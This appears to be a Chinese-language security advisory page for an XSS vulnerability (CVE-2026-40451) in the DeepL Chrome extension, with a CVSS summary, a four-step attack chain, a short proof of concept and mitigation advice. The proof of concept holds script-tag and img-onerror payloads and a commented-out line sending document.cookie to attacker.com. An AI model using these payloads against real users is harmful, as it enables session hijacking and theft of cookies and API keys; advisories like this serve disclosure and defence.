CVE-2026-40451 CVSS 6.1 中危

CVE-2026-40451 DeepL Chrome扩展XSS漏洞

披露日期: 2026-04-22

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-40451

漏洞类型

XSS（跨站脚本）

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

DeepL Chrome 浏览器扩展

漏洞概述

DeepL Chrome浏览器扩展程序在v1.22.0至v1.23.0版本中存在跨站脚本（XSS）漏洞。由于扩展未对特定输入进行充分过滤，攻击者可利用该漏洞在用户浏览器环境中执行任意JavaScript代码，并向用户当前查看的网页中注入恶意HTML内容。该漏洞攻击复杂度低，无需身份认证，但需要诱导用户进行交互（如访问特定页面）。成功利用可能导致用户敏感数据泄露、会话被劫持或浏览器被恶意控制。

技术细节

该漏洞源于DeepL Chrome扩展程序在v1.22.0至v1.23.0版本中对输入数据的校验机制不完善。攻击者可以通过精心构造的恶意URL或特定网页内容，绕过扩展的安全过滤。当用户在使用该扩展浏览网页时，恶意脚本会被注入到当前页面的上下文中执行。由于浏览器扩展拥有更高的权限，这种XSS攻击可能比普通网页XSS危害更大。攻击者不仅能篡改页面显示内容，还能利用注入的脚本读取浏览器的本地存储数据、拦截网络请求或窃取DeepL的API密钥。CVSS 3.0评分为6.1，主要影响机密性和完整性，利用条件需要用户交互。攻击者通常利用社会工程学诱导用户点击恶意链接，从而触发漏洞。

攻击链分析

STEP 1

1. 侦察与准备

攻击者分析DeepL扩展的机制，发现存在输入过滤缺失的点，并构造包含恶意JavaScript代码的HTML页面或URL参数。

STEP 2

2. 投递载荷

攻击者通过网络钓鱼、邮件或其他社会工程学手段，诱导受害者点击恶意链接或访问植入了恶意代码的网页。

STEP 3

3. 触发漏洞

当受害者使用安装了漏洞版本（v1.22.0 - v1.23.0）的DeepL扩展访问该页面时，扩展会解析页面内容并错误地将恶意数据作为脚本执行。

STEP 4

4. 执行攻击

恶意脚本在受害者的浏览器上下文中运行，获取敏感信息（如Cookie、Token）或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
// Conceptual PoC for CVE-2026-40451
// This payload demonstrates script execution via the vulnerable extension
-->

<script>
  // Attempt to execute arbitrary code
  alert('XSS Vulnerability Detected: CVE-2026-40451');
  
  // Example: Steal document cookies
  // var c = document.cookie;
  // window.location.href="http://attacker.com/?c="+c;
</script>

<!--
// Alternatively, injecting an image tag to trigger onerror
<img src=x onerror=alert('CVE-2026-40451')>
-->

影响范围

DeepL Chrome 浏览器扩展 v1.22.0 - v1.23.0

防御指南

临时缓解措施

建议用户立即检查并更新DeepL Chrome浏览器扩展程序。在官方发布修复补丁之前，建议暂时禁用该插件，并避免点击来源不明的链接或访问可疑网站，以降低被攻击的风险。企业用户应加强网络安全意识培训，防范社会工程学攻击。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表